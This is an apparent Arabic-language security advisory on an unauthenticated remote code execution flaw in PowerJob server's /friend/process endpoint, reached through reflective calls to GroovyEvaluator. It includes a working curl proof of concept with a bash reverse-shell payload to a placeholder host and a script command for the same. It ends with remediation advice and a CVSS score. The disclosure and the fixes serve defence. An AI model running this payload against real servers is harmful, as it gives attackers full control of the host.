
استغلال تنفيذ أوامر عن بُعد غير مصادق عليه لخادم PowerJob عبر حقن Groovy في نقطة النهاية /friend/process، مما يتيح تنفيذ أوامر عشوائية وقذائف عكسية.
/friend/process غير المُصادق عليه (حقن Groovy)يُعرّض خادم PowerJob (إطار عمل جدولة المهام / الحوسبة الموزعة) نقطة النهاية /friend/process على منفذ HTTP الخاص بطبقة النقل بين العامل والخادم رقم 10010 دون أي مصادقة على الإطلاق. تعكس نقطة النهاية طريقة عامة عشوائية من حبة Spring عشوائية؛ يمكن للمهاجم الذي يستدعي GroovyEvaluator.evaluate تنفيذ تعبيرات Groovy عشوائية، محققًا تنفيذ التعليمات البرمجية عن بُعد دون مصادقة. ينشر إعداد docker-compose الافتراضي هذا المنفذ إلى 0.0.0.0، لذا يمكن اختراق الخادم بالكامل بدون أي بيانات اعتماد.
docker-compose.yml:29-33,47-48 ينشر 10010 (نقل HTTP)، 10086 (AKKA)، 10077 (MU) إلى المضيف 0.0.0.0| العنصر | القيمة |
|---|---|
| نقطة النهاية المُشغِّلة | POST http://<server>:10010/friend/process |
| التسجيل | FriendActor.java @Actor(path = "friend") + @Handler(path = "process") (مسجلة لجميع البروتوكولات الثلاثة: HTTP/MU/AKKA) |
| التنفيذ الانعكاسي | RemoteRequestProcessor.processRemoteRequest() |
| المصرف الخطير | GroovyEvaluator.evaluate() → ScriptEngine.eval() |
| المصادقة المفقودة | HttpVertxCSInitializer (HTTP) / MuServerHandler (MU) تسجل المسارات دون أي فحص رمز/توقيع |
ملفات المصدر الرئيسية (بالنسبة إلى جذر المستودع):
powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java (يسجل مسارات 10010، دون مصادقة)powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28RemoteRequestProcessor.processRemoteRequest تمامًا في حقول className وmethodName وparameterTypes وargs في نص الطلب — يستخدم Class.forName + SpringUtils.getBean للحصول على أي حبة Spring ثم يستدعي أيًا من طرقها العامة عبر ReflectionUtils الخاص بـ Spring.GroovyEvaluator هي حبة @Component تستدعي طريقة evaluate(String, Object) محرك نصوص Groovy (ScriptEngineManager) لتنفيذ eval() لتعبير المهاجم مباشرة.الجمع بين الثلاثة يساوي تنفيذ تعليمات برمجية عن بُعد دون مصادقة.
RemoteProcessReq يستهدف GroovyEvaluator.evaluate بتعبير Groovy عشوائي (مثل 'id'.execute().text).AskResponse.data (JSON بترميز base64).البيئة: JDK 17، powerjob-server-starter-5.1.2.jar مبني من المصدر (ملف التعريف اليومي)، الخادم يستمع على 192.168.49.128:10010. تمت إعادة التحقق على JDK 21 (حمولة صيغة القشرة أدناه تعمل على كليهما؛ راجع الملاحظة حول File.write أدناه).
curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
"className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
"methodName": "evaluate",
"parameterTypes": ["java.lang.String","java.lang.Object"],
"args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
}'
الاستجابة الفعلية: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}. فك ترميز base64 لحقل data ينتج مخرجات الأمر المنفذ على JVM الخادم:

بدلاً من ذلك، يمكنك إعادة إنتاجها باستخدام السكربت:
python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878
/friend/process جزء من الاتصال الداخلي بين الخادم والعامل؛ يجب أن يرفض الطلبات غير المُصادق عليها، أو يجب ألا تكون الطريقة قابلة للاستدعاء عن بُعد على الإطلاق.RemoteRequestProcessor إلى قائمة سماح: تقييد className/methodName بمعالجات آمنة محددة بواسطة الإطار ومنع الاستدعاء الانعكاسي للحبوب العشوائية.GroovyEvaluator بشدة (إذا كان يجب أن يبقى، أضف مصادقة وصندوق رمل)./friend/process (S4S_HANDLER_PROCESS) افتراضيًا أو تقييده بالمصادر الداخلية فقط.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 حرجة
mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package/friend/process قابل للتشغيل بدون قاعدة بيانات)java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...